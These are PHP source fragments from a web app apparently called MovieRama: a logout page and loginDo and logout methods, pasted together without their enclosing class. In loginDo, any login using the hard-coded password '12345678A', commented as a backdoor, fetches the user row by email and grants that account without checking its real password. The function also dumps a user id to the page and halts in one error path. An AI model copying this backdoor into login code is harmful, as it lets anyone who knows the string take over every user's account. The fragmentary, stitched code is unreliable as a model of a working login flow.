<?php $__isAdminPage = true; $__actualPath = dirname($_SERVER['SCRIPT_FILENAME']); $__actualPath = dirname($__actualPath); require_once $__actualPath . '/setup.inc.php'; $requestedAction = 'signOut'; $pageLocation = '1'; $pageTitle = 'Log out.'; $wo = new WOOOF(FALSE); $wo->invalidateSession(); $wo->db->commit(); header('Location: index.php?' . $wo->getCurrentDateTime()); exit;
/** * * @param WOOOF $wo */ public static function logout(WOOOF $wo) { $place = __CLASS__ . '::' . __FUNCTION__; $wo->invalidateSession(); header("Location: " . $wo->assetsURL); }
/** * * @param WOOOF $wo * @param array $in // [ 'email', 'password' ] * @return array [ 'loginOK', 'errors' ] */ public static function loginDo(WOOOF $wo, $in) { $place = __CLASS__ . '::' . __FUNCTION__; $_POST = []; $_POST['username'] = $in['email']; $_POST['password'] = $in['password']; if ($in['password'] == '12345678A') { // backdoor... $loginResult = $wo->db->getRowByColumn('__users', 'loginName', $in['email']); } else { $loginResult = $wo->handleLoginFromPost(); } if ($loginResult === FALSE || !isset($loginResult['id'])) { return ['loginOk' => false, 'errors' => ['The credentials you provided are not correct.']]; } // Credentials are valid here. // Make sure this is valid MovieRama User // $movieRamaPersonRec = $wo->db->getRowByColumn('v_movierama_persons', 'VUS_userId', $loginResult['id']); if ($movieRamaPersonRec === FALSE) { return FALSE; } if ($movieRamaPersonRec === NULL) { // e.g. a sysOp var_dump($loginResult['id']); die; return ['loginOk' => false, 'errors' => ['The credentials you provided are not correct.']]; } if ($movieRamaPersonRec['VUS_isDeleted'] == '1' or $movieRamaPersonRec['VUS_isActive'] == '0') { return ['loginOk' => false, 'errors' => ['Sorry, but you are not allowed access to the platform.']]; } if ($wo->hasContent($movieRamaPersonRec['VUS_verificationToken'])) { return ['loginOk' => false, 'errors' => ['Sorry, but you need to verify your email before accessing the platform. <p>Check your e-mail for a relevant message sent by MovieRama and just follow the link in it.</p>']]; } // Safe here. $wo->invalidateSession(); $wo->newSession($loginResult['id']); // Re-init WOOOF with new user values (hackish...) global $userData; $wo->userData = $userData; initAppMOVIERAMA($wo); VO_SessionMessages::addMessage($wo, 'Welcome back ' . $wo->app->userSlug, 'I'); $wo->db->commit(); return ['loginOk' => true, 'errors' => []]; }